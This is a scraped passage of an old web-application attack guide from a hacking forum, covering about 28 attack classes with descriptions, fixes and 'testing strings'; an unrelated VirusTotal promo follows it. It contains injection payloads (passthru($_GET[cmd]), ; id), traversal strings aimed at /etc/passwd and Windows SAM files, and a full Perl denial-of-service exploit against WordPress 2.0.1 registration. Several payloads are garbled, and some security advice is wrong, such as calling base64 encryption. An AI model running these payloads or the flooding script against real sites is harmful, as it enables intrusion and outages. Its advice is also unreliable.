http://www.cgisecurity.com/articles/xss-faq.shtml -> "The Cross Site Scripting (XSS) FAQ" by Cgisecurity
http://www.owasp.org/index.php/Cross_Site_Scripting -> "Cross Site Scripting" by Owasp
http://ha.ckers.org/xss.html -> "XSS (Cross Site Scripting) Cheat Sheet" by RSnake
http://en.wikipedia.org/wiki/Cross-site_scripting -> "Cross-site scripting" by Wikipedia
http://www.owasp.org/index.php/PHP_Top_5 -> "PHP Top 5" by Owasp
http://blog.bitflux.ch/wiki/XSS_Prevention -> "XSS Prevention" by bitflux
http://www.cgisecurity.com/lib/WH-WhitePaper_XST_ebook.pdf -> "Cross-Site Tracing (XST)" by Jeremiah Grossman
http://www.cgisecurity.com/lib/XSS.pdf -> "The Evolution of Cross-Site Scripting Attacks" by David Endler
http://www.cgisecurity.com/lib/cross_site_scripting.pdf -> "Cross Site Scripting Vulnerabilities" by Jason Refail
http://www.cgisecurity.com/lib/xss_anatomy.pdf -> "The Anatomy Of Cross Site Scripting" by Gavin Zuchlinski
http://www.net-security.org/dl/articles/AdvancedXSS.pdf -> "Advanced Cross Site Scripting" by Gavin Zuchlinski
http://www.astalavistagroup.com/media/dire...dvancedxss.html -> "Advanced XSS techniques" by e_D
http://www.astalavista.com/media/directory..._javascript.txt -> "HACKING WITH JAVASCRIPT" by Dr_aMado
http://www.spidynamics.com/whitepapers/SPI...tescripting.pdf -> "Cross-Site Scripting: Are your web applications vulnerable" by Kevin Spett
http://www.infosecwriters.com/text_resources/pdf/XSS.pdf -> "XSS Vulnerabilities, So understimated, so dangerous" by Zihno
http://xss-proxy.sourceforge.net/Advanced_XSS_Control.txt -> "Advanced Cross-Site-Scripting with Real-time Remote Attacker Control" by Anton Rager
http://www.infosecwriters.com/text_resourc..._Attack_FAQ.pdf -> "XSS Attacks FAQ" by Aelphaeis Mangarae


e)Testing string/s

(), ([script]alert();[/script]), (), ()

f)Response

200 OK, a poup-up message with your cookies



3.)Cross site request forgery (CSRF)

a)Description

Cross-Site Request Forgeries (CSRF) are an almost opposite style of attack. Rather than exploiting the trust that a user has for a Web site, they exploit the trust that a Web site has for a user. In the case of the XSS attacks we just discussed, the user is the victim. In the case of CSRF, the user is an unknowing accomplice.

b)Impact

An attacker may put a link on a forum and when someone clicks the link he will send a message to the server forum.This may couse a flood

c)Recommendation

-Use POST instead of GET method
-Request authorization
-Check the Referer
-Every request has to be unique

d)References

http://shiflett.org/articles/foiling-cross-site-attacks -> "Foiling Cross-Site Attacks" by Chris Shiflett
http://shiflett.org/articles/security-corner-dec2004 -> "Cross-Site Request Forgeries" by Chris Shiflett

e)Testing string/s


Subject:


Message:





Attacker's url:



This way the attacker will flood the server and he could bypass firewall protection seanse the flooders would be people that don't know what they are doing

f)Response

200 OK, successful redirection



4.)PHP injection

a)Description

PHP code injection is a vulnerability that allows an attacker to inject custom code into the server side scripting engine. This vulnerability occurs when an attacker can control
all or part of an input string that is fed into an eval() function call. Eval will execute the argument as code.

b)Impact

Malicious users may inject PHP code which will be executed on the server side. It's possible to run system commands if the PHP interpreter allows system() or similar functions.

c)Recommendation

Allow only a-zA-Z0-9 characters and set php.ini as it follows:

engine = off
register_globals = off
magic_quotes_gpc = off
magic_quotes_runtime = Off
magic_quotes_sybase = Off
session.use_trans_sid = off
session.use_only_cookies = 1
safe_mode = on
safe_mode_gid = Off
safe_mode_include_dir = Off
safe_mode_exec_dir = Off
allow_url_fopen = off
open_basedir = '/home/sheib/public_html/unsafe' //edit this
file_uploads = off
display_errors = off
log_errors = on
expose_php = off
error_reporing = E_ALL
session.save_path ="/tmp" //edit this if you want
post_max_size = 8M
disable_functions = exec, passthru, proc_open, shell_exec, system, popen, pcntl_fork, pcntl_exec, fsockopen, pfsockopen, socket_bind, socket_accept, socket_listen, socket_create, stream_socket_client, stream_socket_server, dl, glob, posix, include, include_once, require and require_once, fopen, readfile, file, imagecreatefromXXX, phpinfo, eval, chroot, suexec, Limits

*addslashes/stripslashes/magic_quotes_gpc won't help much
*when sending data use $_GET/$_POST and for authentication $_SESSION instead of register_globals
*Don't count on encryption functions like urlencode or base64_encode use md5 hashing

d)References

http://seclists.org/lists/fulldisclosure/2006/May/0035.html -> "Dynamic Evaluation Vulnerabilities in PHP applications" by Steven M. Christey
http://www.owasp.org/index.php/PHP_Top_5 -> "PHP Top 5" by Owasp
http://georgi.unixsol.org/texts/php-security.txt -> "Проблеми със сигурността на PHP приложения от гледна точка на програмиста и администратора" by Georgi Chorbadzhiyski
http://georgi.unixsol.org/texts/presentati...eb-security.pdf -> "Често срещани уязвимости в web приложения" by Georgi Chorbadzhiyski
http://marc.theaimsgroup.com/?l=bugtraq&am...1219299&w=2 -> "Myspace.com - Intricate Script Injection Vulnerability" by Justin Lavoie
http://www.securereality.com.au/studyinscarlet.txt -> "Exploiting Common Vulnerabilities in PHP Applications" by Shaun Clowes
http://www.hardened-php.net/globals-problem -> "GLOBALS Overwrite and it's Consequences" by Stefan Esser
http://www.php.net/manual/security.php -> "PHP Security Manual"
http://phpsec.org/ -> A site about php security
http://www.phpsecure.info/ -> A site about php security
http://www.cgisecurity.com/lib/php-secure-coding.html -> "Secure Programming in PHP" by Thomas Oertli
http://shiflett.org/article/ -> you will find interesting articles some related to php security
http://www.modsecurity.org/db/resources/category.php?id=7 -> a site with lot's of resources
http://www.hardened-php.net/ -> a site about php security
http://brainbulb.com/talks -> interesting articles about php security
http://phpsec.org/php-security-guide.pdf "PHP Security" by Chris Shiflett

e)Testing string/s

(), (system(base64_decode(YWRtaW4=) #admin), ('.passthru($_GET[cmd]).'&cmd=id), (phpinfo()wink.gif

f)Responce

200 OK, test, admin, uid...



5.)PERL injection

a)Description

Like php injection, perl injection would be the same but the differences is that you inject perl code not php

b)Impact

Malicious users may inject perl code which will be executed on the server side.

c)Recommendation

Allow only a-zA-Z0-9 characters and use no warnings;

d)References

http://www.governmentsecurity.org/articles...xploitation.php -> "Hacking CGI - security and exploitation" by b0iler
http://www.wiretrip.net/rfp/txt/phrack55.txt -> "Perl CGI problems" by rain.forest.puppy
http://www.w3.org/Security/faq/wwwsf4.html -> "CGI script security" by Lincoln D. Stein and John N. Stewart
http://www.mirrors.wiretapped.net/security...ng/safe-cgi.txt -> "Safe CGI Programming" by Paul Phillips
http://bau2.uibk.ac.at/matic/cgi2.htm -> "CGI security holes" by Jennifer Myers
http://www.cgisecurity.com/lib/sips.html -> "Security Issues in Perl Scripts" by Jordan Dimov
http://www.cgisecurity.com/lib/taintmode.html -> "CGI/Perl Taint Mode FAQ" by Gunther Birznieks

e)Testing string/s

(perl -e system(ipconfig)), (perl -e exec(ipconfig)), (perl -e \'print 'foo'\)

f)Responce

200 OK, Windows IP Configuration, foo



6.)Path disclosure

a)Description

Contains an error message that discloses the installation path and other data.

b)Impact

A remote user can determine the full path to the web root directory and other potentially sensitive information.

c)Recommendation

Allow only a-zA-Z0-9 characters and turn off error messages depending on the script

d)References

http://www.securityfocus.com/infocus/1709 -> "Penetration Testing for Web Applications (Part Two)" by Jody Melbourne and David Jorm

e)Testing string/s

(/), (\)

f)Responce

200 OK, Warning message



7.)ASP injection

a)Description

Like php or perl injection, asp injection would be the same but the differences is that you inject asp code not php/perl

*Note*
ASP injection is possbile only on windows machines running IIS

b)Impact

Malicious users may inject asp code which will be executed on the server side.

c)Recommendation

Allow only a-zA-Z0-9 characters and dissable the following functions:

sp_makewebtask
xp_startmail
xp_sendmail
xp_cmdshell
xp_regwrite

d)References

http://www.sans.org/resources/policies/asp_standards.doc -> "ASP Security Standards" by SANS Institute
http://www.tutorialized.com/tutorial/Desig...pplication/2188 -> "Designing an Account Unlock Application" by tutorialized
http://www.tutorialized.com/tutorial/DypsA...HA-for-ASP/9706 -> "DypsAntiSpam, a CAPTCHA for ASP Tutorial" by tutorialized
http://www.tutorialized.com/tut_header/2190 -> "Encrypting Query String Values Tutorial" by tutorialized
http://www.tutorialized.com/tut_header/9758 -> "Login page in ASP through Access DB Tutorial" by tutorialized
http://www.tutorialized.com/tut_header/2187 -> "Script Security Tutoria" by tutorialized
http://neworder.box.sk/newsread.php?newsid=6855 -> "How to secure your ASP applications" by Guo Xu
http://support.microsoft.com/kb/301464/en-us -> "How To Use Simple ASP Code to Password Protect Your ASP Pages" by Microsoft
http://www.microsoft.com/technet/archive/i...c.mspx?mfr=true -> "Security Management for ASPs" by Microsoft

e)Testing string/s

(<%@ LANGUAGE = 'JScript' %> <% Response.Write('Test'); %>;)

f)Responce

200 OK, Test



8.)Source code disclosure

a)Description

It is possible to read the source code of a script by using script filename as a parameter. It seems that the script includes a file which name is determined using user-supplied data. This data is not properly validated before being passed to the include function.

b)Impact

An attacker can gather sensitive information (database connection strings, application logic) by analysing the source code. This information can be used to launch further attacks.

c)Recommendation

Analyse the source code of this script and solve the problem.

d)References

http://www.imperva.com/application_defense...disclosure.html -> "Source Code Disclosure" by Impreva

e)Testing string/s

request the file itself

f)Responce

200 OK,



8.Server side includes (SSI)

a)Description

Server Side Includes or SSI is an easy server-side scripting language used almost exclusively for the web. As its name implies, its primary use is including the contents of a file into another, via a Web Server.

SSI is primarily used to "paste" the contents of one or more files into another. For example, a file (of any type, .htm, .txt, etc.) containing a daily quote, could be included into multiple SSI Enabled pages throughout a website, by placing the following code into the desired pages. With one change of the quote.txt file, pages including the snippet will display the latest daily quote. Server Side Includes are useful for including a common piece of code throughout a site, such as a navigation menu.

In order for a web server to recognise a SSI-enabled HTML file and therefore carry out these instructions, the file must end with the .shtml extension. SSI files can also end with .shtm but this depends on the servers ability to recognise the extension.

b)Impact

An attacker can execute commands on the server

c)Recommendation

turn off SSI

d)References

http://en.wikipedia.org/wiki/Server_Side_Includes -> "Server Side Includes" by Wikipedia

e)Testing string/s




f)Responce

200 OK, root, uid....



9.)Code execution

a)Description

Code execution vulnerabilities occur where the output or content served from a Web application can be manipulated in such a way that it triggers server-side code execution. In some poorly written Web applications that allow users to modify server-side files (such as by posting to a message board or guestbook) it is sometimes possible to inject code in the scripting language of the application itself.

b)Impact

A malicious user may execute arbitrary system commands with the permissions of the web server.

c)Recommendation

*Allow only a-zA-Z0-9 characters
*Turn on safe_mode
*Dissable exec, passthru, proc_open, shell_exec, system, popen, pcntl_fork, pcntl_exec
*Set permitions so that only root can execute commands
*Use escapeshellcmd or escapeshellarg

d)References

http://www.securityfocus.com/infocus/1709 -> "Penetration Testing for Web Applications (Part Two)" by Jody Melbourne and David Jorm
http://www.owasp.org/index.php/PHP_Top_5 -> "PHP Top 5" by Owasp

e)Testing string/s

(|id|), ($(id)), (; id), (| id), (&& id) (|| id), (> id), (<>

f)Responce

200 OK, uid...



10.File inclusion

a)Description

An attacker could include a remote or local file and execute commands on the server

b)Impact

It is possible for a remote attacker to include a file from local or remote resources and/or execute arbitrary script code with the privileges of the webserver.

c)Recommendation

*allow_url_fopen = off
*use file_exists(); function to validate if the file is valid
*disable user control


d)References

http://www.php.net/manual/en/features.remote-files.php -> "Using remote files"
http://www.theserverpages.com/10101/21/ -> "Code Injection Vulnerabilities Explained" by The Server Pages
http://www.owasp.org/index.php/PHP_Top_5 -> "PHP Top 5" by Owasp

e)Testing string/s

(http://site.domain/include/test.php), (/file.php)

Where test.php contains:


$t=system('id');
echo "$t";
?>

f)Responce

200 OK, uid....


11.)Directory Traversal

a)Description

Directory Traversal is a vulnerability which allows attackers to access restricted directories and execute commands outside of the web server's root directory.

b)Impact

By exploiting directory traversal vulnerabilities, attackers step out of the root directory and access files in other directories. As a result, attackers might view restricted files or execute commands, leading to a full compromise of the Web server.

c)Recommendation

*Allow only a-zA-Z0-9 characters only
*Set open_basedir
*Set display_errors to off

d)References

http://www.acunetix.com/websitesecurity/di...y-traversal.htm -> "Directory Traversal Attacks" by Acunetix
http://bg.php.net/features.safe-mode -> "Security and Safe Mode"
http://www.securityfocus.com/infocus/1709 -> "Penetration Testing for Web Applications (Part Two)" by Jody Melbourne and David Jorm
http://en.wikipedia.org/wiki/Directory_traversal -> "Directory traversal" by Wikipedia
http://www.imperva.com/application_defense..._traversal.html -> "Directory Traversal" by Imperva
http://cert.uni-stuttgart.de/archive/vulnw...2/msg00007.html -> "phpBB Attachment Mod Directory Traversal HTTP POST Injection" by Paul Laudanski

e)Testing string/s

(../) (../../../../../../../../etc/passwd)

f)Responce

200 OK, directory listening, root



12.)Cross Frame scripting (XFS)

a)Description

This is an attack technique used to trick a user into thinking that fake web site content is legitimate data.

b)Impact

Malicious users may poison a frame allowing them to conduct phishing attacks.

c)Recommendation

Allow only a-zA-Z0-9 characters and verfy the data send by the user

d)References

http://www.nextgenss.com/papers/NISR-WP-Phishing.pdf -> "The Phishing Guide" by Gunter Ollmann

e)Testing string/s

http://your-page.com/grab_data.php

f)Responce

200 OK, http://your-page.com/grab_data.php



13.)CGI security checks

a)Description

CGI security checks are used to see if the Common Gateway Interface of a site is vulnerable to old/new bugs

b)Impact

Malicious users may execute commands or do something else depending on the bug

c)Recommendation

Keep updated your server and software

d)References

http://www.w3.org/Security/faq/wwwsf4.html -> "CGI script security" by Lincoln D. Stein and John N. Stewart
http://www.mirrors.wiretapped.net/security...ng/safe-cgi.txt -> "Safe CGI Programming" by Paul Phillips
http://bau2.uibk.ac.at/matic/cgi2.htm -> "CGI security holes" by Jennifer Myers

e)Testing string/s

/.%252e/.%252e/.%252e/winnt/repair/sam._
/..%252f..%252f..%252f..%252f..%252f../windows/repair/sam
/..%252f..%252f..%252f..%252f..%252f../winnt/repair/sam
/..%252f..%252f..%252f..%252f..%252f../winnt/repair/sam._
/..%255c..%255c..%255c..%255c..%255c../windows/repair/sam
/..%255c..%255c..%255c..%255c..%255c../winnt/repair/sam
/..%255c..%255c..%255c..%255c..%255c../winnt/repair/sam._
/..%2F..%2F..%2F..%2F..%2F../windows/repair/sam
/..%2F..%2F..%2F..%2F..%2F../winnt/repair/sam
/..%2F..%2F..%2F..%2F..%2F../winnt/repair/sam._

f)Response

200 OK



14.)Cookie attacks

a)Description

By injecting a custom HTTP header or by injecting a META tag is possible to alter the cookies stored in the browser. Attackers will normally manipulate cookie values to fraudulently authenticate themselves on a web site.

b)Impact

By exploiting this vulnerability, an attacker may conduct a session fixation attack. In a session fixation attack, the attacker fixes the user's session ID before the user even logs into the target server, thereby eliminating the need to obtain the user's session ID afterwards.

c)Recommendation

You need to filter the output in order to prevent the injection of custom HTTP headers or META tags.
Additionaly, with each login the application should provide a new session ID to the user.

d)References

http://www.acros.si/papers/session_fixation.pdf -> "Session Fixation Vulnerability In Web-based Applications" by Mitja Kolsek
http://www.webappsec.org/projects/threat/c..._fixation.shtml -> "Session Fixation" by Web Application Security Consortium
http://www.php.net/session -> "Session Handling Functions"
http://www.cgisecurity.com/lib/CookiePoisoningByline.pdf -> "Hacking Web Applications Using Cookie Poisoning" by Amit Klein
http://www.securityfocus.com/infocus/1722 -> "Penetration Testing for Web Applications (Part Three)" by Jody Melbourne and David Jorm

e)Testing string/s

(Set-Cookie: cookiename=cookievalue) ()

f)Response

200 OK, new cookie that contains your data



15.)Http response splitting/CRLF injection

a)Description

HTTP headers have the structure "Key: Value", where each line is separated by the CRLF combination. If the user input is injected into the value section without properly escaping/removing CRLF characters it is possible to alter the HTTP headers structure.
HTTP Response Splitting is a new application attack technique which enables various new attacks such as web cache poisoning, cross user defacement, hijacking pages with sensitive user information and cross-site scripting (XSS). The attacker sends a single HTTP request that forces the web server to form an output stream, which is then interpreted by the target as two HTTP responses instead of one response.

b)Impact

Is it possible for a remote attacker to inject custom HTTP headers. For example, an attacker can inject session cookies, spoof mail headers or execute HTML code. This may conduct to vulnerabilities like XSS (cross-site scripting) or session fixation.

c)Recommendation

You need to restrict CR(0x13)(\r) and LF(0x10)(\n) from the user input or properly encode the output in order to prevent the injection of custom HTTP headers.

d)References

http://www.acunetix.com/websitesecurity/crlf-injection.htm -> "CRLF Injection Attack" by Acunetix
http://www.cgisecurity.com/lib/crlf-injection.txt -> "CRLF Injection" by Ulf Harnhammar
http://packetstormsecurity.org/papers/gene...ttpresponse.pdf -> "HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics" by Amit Klein
http://www.securiteam.com/securityreviews/5WP0E2KFGK.html -> "Introduction to HTTP Response Splitting" by dcrab
http://www.cgisecurity.com/papers/header-b...xploitation.txt -> "Header Based Exploitation: Web Statistical Software Threats" by Cgisecurity
http://www.cgisecurity.com/lib/bill/Willia...llamy_GCIH.html -> "TCP Port 80 - HyperText Transfer Protocol (HTTP) Header Exploitation" by William Bellamy Jr.

e)Testing string/s

http://localhost/mail.php?from=foo@foo.com...;message=moofoo

Where our headers will look like:

CC: foo@foo.com
Bcc: foo@foo.com

And if we change our url to

http://localhost/mail.php?from=foo@foo.com&to=mail1, mail2, mail3\r\n&subject=foo&message=moofoo

And we just did a mail spoofing attack

f)Responce

200 OK, changed headers, redirection to another page



16.)Buffer overflow

a)Description

It is almost impossible to find today a buffer overflow in a web application but still there are some scripts that use C\C++\C# code in them

b)Impact

An attacker could execute commands on the server and even get root privileges

c)Recommendation

Analyse the source code of your C\C++\C# program and fix all possible overflows

*For Microsoft Visual C++ .NET you can use /GS (Buffer Security Check) when compiling to see if there are any possible overflows and /Gs (Control Stack Checking Calls) but be careful when using /Gs

d)References

http://www.whitehatsec.com/articles/mythbu...er_overflow.pdf -> "Myth-Busting Web Application Buffer Overflows" by Jeremiah Grossman
http://en.wikipedia.org/wiki/Buffer_overflow -> "Buffer overflow" by Wikipedia

e)Testing string/s

http://webserver/foo.cgi?param1=AAAAAAAAAAAAAAAAA... 5000 A's

f)Responce

500 International Server Errors, 0x41414141 or something simular



17.)Format String

a)Description

Format string attacks are a new class of vulnerabilities discovered around 1999, previously thought harmless. Format string attacks can be used to crash a program or to execute harmful code. The problem stems from the use of unfiltered user input as the format string parameter in certain C functions that perform formatting, such as printf()

b)Impact

A malicious user may use the %s and %x format tokens, among others, to print data from the stack or possibly other locations in memory. One may also write arbitrary data to arbitrary locations using the %n format token, which commands printf() and similar functions to write back the number of bytes formatted to the same argument to printf(), assuming that the corresponding argument exists, and is of type int * .

c)Recommendation

Analyse the source code of your C\C++\C# program and fix all possible overflows

d)References

http://www.webappsec.org/projects/threat/c...ng_attack.shtml -> "Format String Attack" by Web Application Security Consortium
http://en.wikipedia.org/wiki/Format_string_attack -> "Format string attack" by Wikipedia

e)Testing string/s

(%f), (%p), (%n)

http://server/foo.cgi?param1=AAAA%x%x%x%x%x%x%x%x

f)Responce

Error message, something like 0x0804960c and so on...



18.)Integer Overflow

a)Description

In computer programming, an integer overflow is an anomalous condition which may cause a buffer overflow, resulting in a computer security risk where adjacent, valid program control data may be overwritten, permitting the execution of arbitrary, and potentially harmful code.

b)Impact

A malicious user may create a buffer overflow condition and execute commands on the server

c)Recommendation

Analyse the source code of your C\C++\C# program and fix all possible overflows

d)References

http://www.phrack.org/phrack/60/p60-0x0a.txt -> "Basic Integer Overflows" by blexim
http://en.wikipedia.org/wiki/Integer_overflow -> "Integer overflow" by Wikipedia

e)Testing string/s

http://server/foo.cgi?param1=35 65535

f)Responce

Error message, something like 0x0000ffff and so on...



19.)LDAP Injection

a)Description

Lightweight Directory Access Protocol (LDAP) is an open-standard protocol for both querying and manipulating X.500 directory services. When a web application fails to properly sanitize user-supplied input, it is possible for an attacker to alter the construction of an LDAP statement.

b)Impact

When an attacker is able to modify an LDAP statement, the process will run with the same permissions as the component that executed the command. (e.g. Database server, Web application server, Web server, etc.). This can cause serious security problems where the permissions grant the rights to query, modify or remove anything inside the LDAP tree.

c)Recommendation

Allow only a-zA-Z0-9 characters

d)References

http://en.wikipedia.org/wiki/LDAP -> "Lightweight Directory Access Protocol" by Wikipedia
http://www.webappsec.org/projects/threat/c...injection.shtml -> "LDAP Injection" by Web Application Security Consortium
http://www.spidynamics.com/whitepapers/LDAPinjection.pdf -> "LDAP Injection" by Sacha Faust
http://www.ietf.org/rfc/rfc1960.txt -> "A String Representation of LDAP Search Filters" by Tim Howes
http://ldapman.org/ -> LDAP resources

e)Testing string/s

()), (*)

f)Responce

Redirection, error message containing information



20.)XPath Injection

a)Description

This script is possibly vulnerable to XPath Injection attacks.XPath Injection is an attack technique used to exploit web sites that construct XPath queries from user-supplied input.

b)Impact

An unauthenticated attacker may extract a complete XML document using XPath querying. This may compromise the integrity of your database and expose sensitive information.

c)Recommendation

Allow only a-zA-Z0-9 characters

d)References

http://palisade.paladion.net/issues/2005Jul/xpath-injection/ -> "XPath injection in XML databases" by Runa Dwibedi
http://www.webappsec.org/projects/threat/c...injection.shtml -> "XPath Injection" by Web Application Security Consortium
http://www.w3.org/TR/xpath -> "XML Path Language (XPath)" by W3C
http://arxiv.org/PS_cache/cs/pdf/0210/0210026.pdf -> "Encoding a Taxonomy of Web Attacks with Different-Lenght Vectors" by Gonzalo Alvarez and Slobodan Petrovic
http://packetstormsecurity.org/papers/bypa...on_20040518.pdf "Blind Xpath Injection" by Amit Klein

e)Testing string/s

('), (/), (\), (#), (") (--), (-), (*)

f)Responce

Full content of XML document



21.)URL redirection

a)Description

This script is possibly vulnerable to URL redirection attacks. URL redirection is sometimes used as a part of phishing attacks that confuse visitors about which web site they are visiting.

b)Impact

A remote attacker can redirect users from your website to a specified URL. This problem may assist an attacker to conduct phishing attacks, trojan distribution, spammers.

c)Recommendation

Your script should properly sanitize user input.

d)References

http://www.nist.org/news.php?extend.147 -> "Google can be Exploited to Assist Phishing Attacks" by NIST IT SECURITY

e)Testing string/s

('), (/), (\), (#), (") (--), (-), (*)

f)Responce

200 OK, redirection to another page



22.Web Application DoS

a)Description

Web application DoS (Denial of Service) is an attack that sends mutlyple requests with a very large size to a server

b)Impact

Computer crash, service crash, SQL crash

c)Recommendation

Preventing web application dos and not only on web applications isn't that hard but protecting against DDOS (Distributed Denial Of Service) is impossible.Anyway here are some tips:

*Use POST instead of GET
*Make a function that will stop mutlyple POST/GET requests to your site from the same user.If the user makes a requests 3-4 times the stop his ip from requesting anything on your site for 5-10 minutes and log his ip
*POST requests should not be more longer then 8 MB
*When specifying a maxsize value be sure to make a check function so that the attacker can't make it longer then it is

d)References

http://en.wikipedia.org/wiki/Denial-of-service_attack -> "Denial-of-service attack" by Wikipedia
http://www.cert.org/tech_tips/denial_of_service.html -> "Denial of Service Attacks" by CERT
http://cnscenter.future.co.kr/resource/sec...DoS_attacks.pdf -> "Application Denial of Service (DOS) Attacks" by Stephen de Vries
http://www.lasr.cs.ucla.edu/ddos/404_mirkovic_j.pdf -> "Attacking DDoS at the Source" by Jelena Mirkovic, Gregory Prier and Peter Reiher

e)Testing string/s

Here is my wordpress crash exploit:

#!perl
#Greets ot all omega-team members + h4cky0u[h4cky0u.org], lessMX6 and all dudes from #DevilDev wink.gif
#The exploit was tested on 10 machines but not all got flooded.Only 6/10 got crashed

use Socket;

if (@ARGV <>

$rand=rand(10);
$host = $ARGV[0];
$dir = $ARGV[1];

$host =~ s/(http:\/\/)//eg; #no http://
for ($i=0; $i<9999999999999999999999999999999999999999999999999999999999999999999999;>smile.gif
{
$user="\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x66\x6f\x6f".$rand.$i; #you N33d t0 be l33t t0 s33 th!S !
$data = "action=register&user_login=$user&user_email=$user\@matrix.org&submit=Register+%C2%BB";
$len = length $data;
$foo = "POST ".$dir."wp-register.php HTTP/1.1\r\n".
"Accept: */*\r\n".
"Accept-Language: en-gb\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n".
"Host: $host\r\n".
"Content-Length: $len\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n\r\n".
"$data";

my $port = "80";
my $proto = getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;
send(SOCKET,"$foo", 0);
syswrite STDOUT, "+";
}

#s33 if the server is down
print "\n\n";
system('ping $host');

sub usage {

print "\n\t(W)ordpress 2.0.1 ®emote (D)oS (E)xploit (cool.gify matrix_killer\n";
print "\te-mail: matrix_k\@abv.bg\n";
print "\tusage: \n";
print "\t$0 \n";
print "\tex: $0 127.0.0.1 /woredpress/\n";
print "\tex2: $0 127.0.0.1 / (if there isn't a dir)\n";
exit();
};

#Wordpress answer:
#A) DOS shouldn't be handled by a PHP application, there are much more efficient and better ways to deal with this. cool.gif Registration is off by default, so the severity of this sort of DOS is rather low.
#Well I like giving my own patches or security solutions when I find a bug but this time I agree with the wordpress developers

f)Responce

Server crash, service crash, almost impossible to move your mouse


23.)Hidden field manipulation

a)Description

Hidden fields are used for sending a unique value to the server that cannot be edited by the user.But if the user decides to see the html source hi will see the hidden field and he could change it

b)Impact

A remote attacker can change values to different products(if we are talking about a shop or something simular) or cause a server crash

c)Recommendation

Make a function that will not accept any other value then the one in the hiddien field

d)References

http://www.securityfocus.com/infocus/1704 -> "Penetration Testing for Web Applications (Part One)" by Jody Melbourne and David Jorm

e)Testing string/s





The attacker sees this and saves the html on his hard drive.From then he just changes the value of 7.10 to let's say 2

f)Responce

200 OK, acception of the value from the server



24.)Authentication attacks

a)Description

Authentication plays a very important role in security.We use it to identify someone by a special value, cookie, session or something like that

b)Impact

If an attacker bruteforces or gets somehow the unique identification value of the person he want's then he could authenticate as him

c)Recommendation

*Use SSL on your sites
*When user logs his cookie or whatever it is has to be unique and used only once.That means that when he logouts the cookie has to be destroyd and the next time a new should be created
*Authentication keys should be long and encrypted.Use base64 encryption or md5 hashing
*It would be good to have a ip log function
*Authorization should be required to prevent spoofing/hijacking attacks

d)References

http://www.acunetix.com/websitesecurity/authentication.htm -> "Authentication Hacking Attacks" by Acunetix
http://www.iss.net/security_center/advice/...ing/default.htm -> "Spoofing papers" by Internet Security Systems
http://en.wikipedia.org/wiki/Spoofing_atta...ng_and_phishing -> "Spoofing attack" by Wikipedia
http://www.cs.princeton.edu/sip/WebSpoofing/ -> "Web Spoofing" by Department of Computer Science
http://en.wikipedia.org/wiki/Hijacking -> "Hijacking" by Wikipedia

e)Testing string/s

http://leet.com/login.php?id=4256467

And if there is a id 4256467 you will be logged

f)Responce

200 OK, succesful authentication



25.)Authorization attacks

a)Description

While authentication requires a unique value, authorization requests a username/password value

b)Impact

If an attacker has the username/password value he can log in as the user

c)Recommendation


*Passwords should be long and complex.Atleast 14 characters long and should contain atleast 5-6 special symbols from the keyboard
*Log ip's that make 6 unseccesful login tryes and bann them for 5-10 minutes
*Use md5 hashing
*Use SSL

d)References

http://www.acunetix.com/websitesecurity/authentication.htm -> "Authentication Hacking Attacks" by Acunetix

e)Testing string/s






From then the attacker only tryes different username and password combinations to log in

f)Responce

200 OK, acception of the username and password from the server



26.)Web pilfering/crawling

a)Description

This attack is used to search a hole site or parts of it for password files, hidden fields and other sensitive information

b)Impact

An attacker could get a lot of information about a site and even passwords

c)Recommendation

*Don't hide sensitive data in html
*Check your logs for multyple GET requests

d)References

http://en.wikipedia.org/wiki/Web_crawler "Web crawler" by Wikipedia
http://en.wikipedia.org/wiki/Distributed_web_crawling "Distributed web crawling" by Wikipedia

e)Testing string/s

GET /the_html_document.htlm
.....

f)Responce

200 OK, hidden info



27.)Domain Hijacking

a)Description

This attack is used to take over domain names

b)Impact

An attacker could steal a domain name and from then he could use it for phishing scames

c)Recommendation

See the links below

d)References

http://ccpower.info/dhijacking.html#start -> "Domain Hijacking: A step-by-step guide" by CCpower
http://en.wikipedia.org/wiki/Domain_hijacking -> "Domain hijacking" by Wikipedia

e)Testing string/s

See http://ccpower.info/dhijacking.html#start

f)Responce

Changed domain settings


28.)Google

a)Description

Google attacks are based on found already attacks

b)Impact

It depends on the hole

c)Recommendation

Remove all pages identified by Google hacking queries

d)References

http://ihackgoogle.com -> Google Hacking Database (GHDB)
http://www.acunetix.com/websitesecurity/google-hacking.htm -> "Google hacking" by Acunetix

e)Testing string/s

inurl:passwd.txt site:yoursite.com

f)Responce

200 OK




Final words:

As you can see in almost all of the attacks the best solution is to allow only az-AZ0-9 characters.Well there are other type of protection methods too but they could be bypassed.As an example addslashes could be bypassed with %2527.If you are worring about how much time it will cost you to scan your site for all these attacks well then you could use some of the following scanners:

Acunetix(http://www.acunetix.com/)
MaxPatrol(http://www.maxpatrol.com/)
Nikto(http://www.cirt.net/code/nikto.shtml)
Nessus(http://www.nessus.org/)
WebInspect(http://www.spidynamics.com/products/webinspect/)
Shadow Security Scanner(http://www.safety-lab.com/en/products/1.htm)
GFI LANguard(http://www.gfi.com/lannetscan/)
Typhon(http://www.ngssoftware.com/products/internet-security/ngs-typhon.php)

Greets: Bl0od3r, EcLiPsE, Acid_BDS, Alpha-fan and everyone from h4cky0u.org

An Article by ViN@Y
--> Read Full Article...

Follow us on Twitter Follow this blog

Scan virus using multiple antivirus software.

Posted by X.E.R.O

The title looks peculiar coz if you have two or more antivirus programs installed on your PC, they will conflict with each other. It’s recommended to use only one antivirus program of your choice. What if you are suspicious of a file which you thing may be infected though your antivirus program said ‘not infected’. Online Virus Scans are one option but if you want to make as sure as nearly 100% of suspicious file, there is the best option you can choose. More than two dozens of antivirus engines will scan the files you submitted through Virus Total .You don’t need to worry if those antivirus engines are up-to-date or not. Those latest antivirus programs will scan the file and present you with detailed results from each antivirus program. It’s really cool!
VirusTotal is a service that analyzes suspicious files and facilitates the quick detection of viruses, worms, trojans, and all kinds of malware detected by antivirus engines.
Specs:
  • Free, independent service
  • Use of multiple antivirus engines
  • Real-time automatic updates of virus signatures
  • Detailed results from each antivirus engine
  • Real time global statistics
